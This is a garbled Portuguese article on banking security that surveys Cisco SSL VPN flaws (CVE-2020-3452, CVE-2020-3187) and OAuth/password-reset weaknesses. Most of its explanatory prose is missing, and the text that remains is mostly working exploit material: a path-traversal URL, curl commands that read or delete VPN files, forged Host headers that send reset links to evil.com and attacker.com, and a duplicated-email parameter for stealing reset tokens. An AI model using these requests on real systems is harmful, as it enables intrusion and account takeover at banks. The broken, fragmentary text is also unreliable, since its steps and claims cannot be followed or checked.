Olá amigos!
Hoje falaremos sobre os problemas urgentes de segurança dos sistemas bancários, analisaremos vulnerabilidades comuns e tiraremos conclusões com base nos problemas atuais.
Importante
Novamente, o autor não garante mostrar a você como proteger totalmente o seu sistema contra ameaças cibernéticas, apenas deseja mostrar a quais problemas você deve prestar atenção.
1. Serviços SSL VPN
Os bancos costumam usar serviços Cisco SSL VPN para organizar o acesso remoto à sua rede interna
, .. Cisco CVE-2020-3452 CVE-2020-3187
1.1. CVE-2020-3452
CVE-2020-3452 - Cisco ASA FTD. , , , HTTP- .
https://bank.com/+CSCOT+/translation-table?type=mst&textdomain=/%252bCSCOE%252b/portal_inc.lua&default-language&lang=../
, .
1.2. CVE-2020-3187
/session_password.html 200
curl -k -s -i https://
Cisco-VPN/+CSCOE+/session_password.html
200? -
"/+CSCOU+/csco_logo.gif"
curl -k -H "Cookie: token=../+CSCOU+/csco_logo.gif" https://
Cisco-VPN/+CSCOE+/session_password.html
VPN .
2. & OAuth
- (SSO) OAuth 2.0, , , .
GET /auth/sso/cb?code=[sso token account] HTTP/1.1
Host: bank.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
CSRF . - .
SSO
SSO ,
.
SSO .
redirect_uri - url . / .
POST https://bank.com/reset.php HTTP/1.1
Accept: /
Content-Type: application/json
Host: evil.com
Host: bank.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
email .
https://evil.com/reset-password.php?token=12345678-1234-1234-1234-12345678901
- . , .
.
POST /resetPassword
[…]
email=victim@email.com&email=attacker@email.com
Na solicitação, você pode ver que o invasor simplesmente duplicou o parâmetro de email e indicou seu email para o qual o token de autorização será enviado.
Resultado
Mantenha seus serviços atualizados, seja SSL VPN ou GlobalProtect.
Mantenha a autenticação segura
Também como dica, use um Web Application Firewall ( WAF ) para evitar a exploração de vulnerabilidades causadas por alterações de código.
Boa sorte! Tudo de bom.